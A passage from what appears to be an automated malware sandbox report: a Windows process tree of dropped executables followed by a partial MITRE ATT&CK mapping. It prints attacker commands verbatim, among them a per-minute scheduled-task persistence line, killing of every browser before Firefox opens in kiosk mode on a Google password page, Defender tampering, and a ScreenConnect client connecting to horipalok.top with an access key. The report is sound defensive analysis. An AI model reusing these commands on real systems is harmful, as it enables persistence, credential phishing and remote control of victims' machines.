                                                                                                                            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "smss" /tr "C:\Users\Admin\AppData\Local\Temp\smss.exe"
                                                                                                                            7⤵
                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                            PID:4368
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\10381450101\2983c11b74.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\10381450101\2983c11b74.exe"
                                                                                                                          6⤵
                                                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                          • Checks BIOS information in registry
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Identifies Wine through registry keys
                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:4268
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\10381460101\05be0399a2.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\10381460101\05be0399a2.exe"
                                                                                                                          6⤵
                                                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                          • Checks BIOS information in registry
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Identifies Wine through registry keys
                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:2856
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\10381470101\7ef3f93a66.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\10381470101\7ef3f93a66.exe"
                                                                                                                          6⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                          PID:444
                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                            taskkill /F /IM firefox.exe /T
                                                                                                                            7⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            • Kills process with taskkill
                                                                                                                            PID:2004
                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                            taskkill /F /IM chrome.exe /T
                                                                                                                            7⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            • Kills process with taskkill
                                                                                                                            PID:1952
                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                            taskkill /F /IM msedge.exe /T
                                                                                                                            7⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            • Kills process with taskkill
                                                                                                                            PID:4368
                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                            taskkill /F /IM opera.exe /T
                                                                                                                            7⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            • Kills process with taskkill
                                                                                                                            PID:3368
                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                            taskkill /F /IM brave.exe /T
                                                                                                                            7⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            • Kills process with taskkill
                                                                                                                            PID:3032
                                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                                                                                                                            7⤵
                                                                                                                              PID:2588
                                                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                                                                                                                8⤵
                                                                                                                                • Checks processor information in registry
                                                                                                                                • Modifies registry class
                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                PID:3440
                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2008 -prefsLen 27099 -prefMapHandle 2012 -prefMapSize 270279 -ipcHandle 2088 -initialChannelId {eda74055-35d7-4bdd-a1fb-d743c4cb5cae} -parentPid 3440 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3440" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                                                                                                                                  9⤵
                                                                                                                                    PID:4368
                                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2484 -prefsLen 27135 -prefMapHandle 2488 -prefMapSize 270279 -ipcHandle 2492 -initialChannelId {0edaf4aa-32dd-4133-a68f-cb28823a2b41} -parentPid 3440 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3440" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                                                                                                                                    9⤵
                                                                                                                                      PID:3484
                                                                                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3800 -prefsLen 25164 -prefMapHandle 3804 -prefMapSize 270279 -jsInitHandle 3808 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3816 -initialChannelId {d937caec-12fa-46a1-952c-fba0ed7d56a6} -parentPid 3440 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3440" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                                                                                                                                      9⤵
                                                                                                                                      • Checks processor information in registry
                                                                                                                                      PID:5228
                                                                                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3992 -prefsLen 27276 -prefMapHandle 3996 -prefMapSize 270279 -ipcHandle 3840 -initialChannelId {d0bf5d4b-a78f-4023-8de5-88e0c03e3dc6} -parentPid 3440 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3440" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                                                                                                                                      9⤵
                                                                                                                                        PID:5260
                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1664 -prefsLen 34775 -prefMapHandle 3204 -prefMapSize 270279 -jsInitHandle 3000 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4388 -initialChannelId {2b5cf9b2-337d-4a01-bb3f-07d80437f100} -parentPid 3440 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3440" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                                                                                                                                        9⤵
                                                                                                                                        • Checks processor information in registry
                                                                                                                                        PID:5704
                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5280 -prefsLen 35012 -prefMapHandle 5284 -prefMapSize 270279 -ipcHandle 5292 -initialChannelId {69ac1d29-b11f-4df5-a3ec-356fe05751e6} -parentPid 3440 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3440" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                                                                                                                        9⤵
                                                                                                                                        • Checks processor information in registry
                                                                                                                                        PID:6780
                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5468 -prefsLen 32900 -prefMapHandle 5472 -prefMapSize 270279 -jsInitHandle 5476 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5480 -initialChannelId {3fbfe4f9-6e6b-409d-8b1a-8b3280107bc5} -parentPid 3440 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3440" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                                                                                                                        9⤵
                                                                                                                                        • Checks processor information in registry
                                                                                                                                        PID:6852
                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5752 -prefsLen 32900 -prefMapHandle 5756 -prefMapSize 270279 -jsInitHandle 5760 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5732 -initialChannelId {37f995a0-e386-4daf-8b5c-7632dc9e5f35} -parentPid 3440 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3440" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                                                                                                                        9⤵
                                                                                                                                        • Checks processor information in registry
                                                                                                                                        PID:6952
                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5776 -prefsLen 32900 -prefMapHandle 5780 -prefMapSize 270279 -jsInitHandle 5784 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5724 -initialChannelId {65e5415e-47fa-4e18-990b-d2ba9a55e9ab} -parentPid 3440 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3440" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                                                                                                                        9⤵
                                                                                                                                        • Checks processor information in registry
                                                                                                                                        PID:6960
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10381480101\ae9ab2f9a7.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10381480101\ae9ab2f9a7.exe"
                                                                                                                                  6⤵
                                                                                                                                  • Modifies Windows Defender DisableAntiSpyware settings
                                                                                                                                  • Modifies Windows Defender Real-time Protection settings
                                                                                                                                  • Modifies Windows Defender TamperProtection settings
                                                                                                                                  • Modifies Windows Defender notification settings
                                                                                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Identifies Wine through registry keys
                                                                                                                                  • Windows security modification
                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:5460
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10381490101\0af0a2f978.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10381490101\0af0a2f978.exe"
                                                                                                                                  6⤵
                                                                                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Identifies Wine through registry keys
                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:6660
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10381500101\389dc2db95.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10381500101\389dc2db95.exe"
                                                                                                                                  6⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:5824
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10381510101\e2a57b0b34.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10381510101\e2a57b0b34.exe"
                                                                                                                                  6⤵
                                                                                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Identifies Wine through registry keys
                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:2532
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10381510101\e2a57b0b34.exe"
                                                                                                                                    7⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:4008
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10381520101\1310185143.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10381520101\1310185143.exe"
                                                                                                                                  6⤵
                                                                                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Identifies Wine through registry keys
                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:6288
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10381520101\1310185143.exe"
                                                                                                                                    7⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:7012
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10381530101\842890bd89.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10381530101\842890bd89.exe"
                                                                                                                                  6⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                  PID:7088
                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                    7⤵
                                                                                                                                      PID:6928
                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                      7⤵
                                                                                                                                        PID:6040
                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                        7⤵
                                                                                                                                          PID:6032
                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                          7⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:6892
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10381540101\88e128475c.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10381540101\88e128475c.exe"
                                                                                                                                        6⤵
                                                                                                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Identifies Wine through registry keys
                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:5460
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10381550101\A9cowK5.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10381550101\A9cowK5.exe"
                                                                                                                                        6⤵
                                                                                                                                        • Checks computer location settings
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:6736
                                                                                                                                        • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                          "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\f63a82ffaf9f93d1\ScreenConnect.ClientSetup.msi"
                                                                                                                                          7⤵
                                                                                                                                          • Enumerates connected drives
                                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                                          PID:7076
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10381560101\EPTwCQd.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10381560101\EPTwCQd.exe"
                                                                                                                                        6⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                        PID:7060
                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                          7⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:4340
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                                              1⤵
                                                                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                              • Checks BIOS information in registry
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Identifies Wine through registry keys
                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              PID:1040
                                                                                                                            • C:\Windows\system32\msiexec.exe
                                                                                                                              C:\Windows\system32\msiexec.exe /V
                                                                                                                              1⤵
                                                                                                                              • Enumerates connected drives
                                                                                                                              • Boot or Logon Autostart Execution: Authentication Package
                                                                                                                              • Drops file in Program Files directory
                                                                                                                              • Drops file in Windows directory
                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                              • Modifies registry class
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:1788
                                                                                                                              • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                C:\Windows\syswow64\MsiExec.exe -Embedding 50AFF144DCF597C4779DCE41C282C693 C
                                                                                                                                2⤵
                                                                                                                                • Loads dropped DLL
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:4840
                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI608A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240673015 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                                                                                                  3⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:4568
                                                                                                                              • C:\Windows\system32\srtasks.exe
                                                                                                                                C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                                                                                                                                2⤵
                                                                                                                                  PID:5040
                                                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 78160B2577CA7B06F6A076D2A0D88BC7
                                                                                                                                  2⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:4320
                                                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding C9B507D3301384497EB43BE89FC601C3 E Global\MSI0000
                                                                                                                                  2⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:4128
                                                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding D01E534E3464E31F12EA82ADE440F0E1 C
                                                                                                                                  2⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:5988
                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIAA30.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240757343 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                                                                                                    3⤵
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:3220
                                                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding C73A214114A08B1AAD62F8C8BAD04C4D
                                                                                                                                  2⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:4976
                                                                                                                              • C:\Windows\system32\vssvc.exe
                                                                                                                                C:\Windows\system32\vssvc.exe
                                                                                                                                1⤵
                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                PID:2016
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"
                                                                                                                                1⤵
                                                                                                                                  PID:5060
                                                                                                                                  • C:\Windows\system32\rundll32.exe
                                                                                                                                    rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"
                                                                                                                                    2⤵
                                                                                                                                      PID:4268
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
                                                                                                                                    1⤵
                                                                                                                                      PID:4056
                                                                                                                                    • C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.exe
                                                                                                                                      "C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=horipalok.top&p=8880&s=d1968bf2-fc89-4cfc-baae-f9f7dd88acf1&k=BgIAAACkAABSU0ExAAgAAAEAAQC5i6E%2fahOoc3QJNQtEoGwqZ%2bCdopTN7JMVjs5O2%2byWcszBbL9cw0U4eUAs0O%2fTt9zZBA51c%2fc1w581kiibjAnZuVNxs1sd0hmNAlDUk8pZ2rgBfiLV%2bCX8Xr1w7PENGbO62O6bYrnCoADRGOr%2bDkAsD9fXZvt2bcWgAU%2fWsucxub7vyrOHFlg0dGlPivlEPgqdF06XmDqh%2bJaT9SNeX8GX5MokmbYgNKFgw6gHkSYgO0gvGb%2bWewn%2ftVekpiuFyJ1lPJvWo313f7%2bPZObMNedjqO8FM2Aja0gP8dtuw0AiY1EQOgSCC3o1fZAl%2fG4Li1yubMjusmlWyPSc3o3%2fusi%2b&t=30march"
                                                                                                                                      1⤵
                                                                                                                                      • Sets service image path in registry
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Loads dropped DLL
                                                                                                                                      • Drops file in System32 directory
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:4384
                                                                                                                                      • C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe
                                                                                                                                        "C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe" "RunRole" "a93597c2-d849-4cd8-99c3-a02dc415fecd" "User"
                                                                                                                                        2⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:4728
                                                                                                                                      • C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe
                                                                                                                                        "C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe" "RunRole" "aebcedaf-40f3-432a-ad45-a92ed3244d11" "System"
                                                                                                                                        2⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Drops file in System32 directory
                                                                                                                                        • Checks processor information in registry
                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                        PID:4196
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                                                      1⤵
                                                                                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Identifies Wine through registry keys
                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:4912
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                                                                      1⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:3368
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\smss.exe
                                                                                                                                      1⤵
                                                                                                                                        PID:3032
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\smss.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\smss.exe
                                                                                                                                          2⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:3968
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                                                        1⤵
                                                                                                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Identifies Wine through registry keys
                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                        PID:6140
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                                                                        1⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:3268
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\smss.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\smss.exe
                                                                                                                                        1⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:4700

                                                                                                                                      Network

                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                      Reconnaissance

                                                                                                                                      Resource Development

                                                                                                                                      Initial Access

                                                                                                                                      Execution

                                                                                                                                      Command and Scripting Interpreter

                                                                                                                                      1
                                                                                                                                      T1059

                                                                                                                                      PowerShell

                                                                                                                                      1
                                                                                                                                      T1059.001

                                                                                                                                      Scheduled Task/Job

                                                                                                                                      1
                                                                                                                                      T1053

                                                                                                                                      Scheduled Task

                                                                                                                                      1
                                                                                                                                      T1053.005

                                                                                                                                      System Services

                                                                                                                                      2
                                                                                                                                      T1569

                                                                                                                                      Service Execution

                                                                                                                                      2
                                                                                                                                      T1569.002

                                                                                                                                      Persistence

                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                      3
                                                                                                                                      T1547

                                                                                                                                      Authentication Package

                                                                                                                                      1
                                                                                                                                      T1547.002

                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                      2
                                                                                                                                      T1547.001

                                                                                                                                      Create or Modify System Process

                                                                                                                                      7
                                                                                                                                      T1543

                                                                                                                                      Windows Service

                                                                                                                                      7
                                                                                                                                      T1543.003

                                                                                                                                      Event Triggered Execution

                                                                                                                                      1
                                                                                                                                      T1546

                                                                                                                                      Component Object Model Hijacking

                                                                                                                                      1
                                                                                                                                      T1546.015

                                                                                                                                      Scheduled Task/Job

                                                                                                                                      1
                                                                                                                                      T1053

                                                                                                                                      Scheduled Task

                                                                                                                                      1
                                                                                                                                      T1053.005

                                                                                                                                      Privilege Escalation

                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                      3
                                                                                                                                      T1547

                                                                                                                                      Authentication Package

                                                                                                                                      1
                                                                                                                                      T1547.002

                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                      2
                                                                                                                                      T1547.001

                                                                                                                                      Create or Modify System Process

                                                                                                                                      7
                                                                                                                                      T1543

                                                                                                                                      Windows Service

                                                                                                                                      7
                                                                                                                                      T1543.003

                                                                                                                                      Event Triggered Execution

                                                                                                                                      1
                                                                                                                                      T1546

                                                                                                                                      Component Object Model Hijacking

                                                                                                                                      1
                                                                                                                                      T1546.015

                                                                                                                                      Scheduled Task/Job

                                                                                                                                      1
                                                                                                                                      T1053

                                                                                                                                      Scheduled Task

                                                                                                                                      1
                                                                                                                                      T1053.005

                                                                                                                                      Defense Evasion

                                                                                                                                      File and Directory Permissions Modification

                                                                                                                                      1
                                                                                                                                      T1222

                                                                                                                                      Impair Defenses

                                                                                                                                      6
                                                                                                                                      T1562

                                                                                                                                      Disable or Modify Tools

                                                                                                                                      5
                                                                                                                                      T1562.001

                                                                                                                                      Modify Registry

                                                                                                                                      8
                                                                                                                                      T1112

                                                                                                                                      Virtualization/Sandbox Evasion

                                                                                                                                      2
                                                                                                                                      T1497

                                                                                                                                      Credential Access

                                                                                                                                      Unsecured Credentials

                                                                                                                                      1
                                                                                                                                      T1552

                                                                                                                                      Credentials In Files

                                                                                                                                      1
                                                                                                                                      T1552.001

                                                                                                                                      Discovery

                                                                                                                                      Peripheral Device Discovery

                                                                                                                                      2
                                                                                                                                      T1120

                                                                                                                                      Query Registry

                                                                                                                                      9
                                                                                                                                      T1012

                                                                                                                                      System Information Discovery

                                                                                                                                      6
                                                                                                                                      T1082

                                                                                                                                      System Location Discovery

                                                                                                                                      1
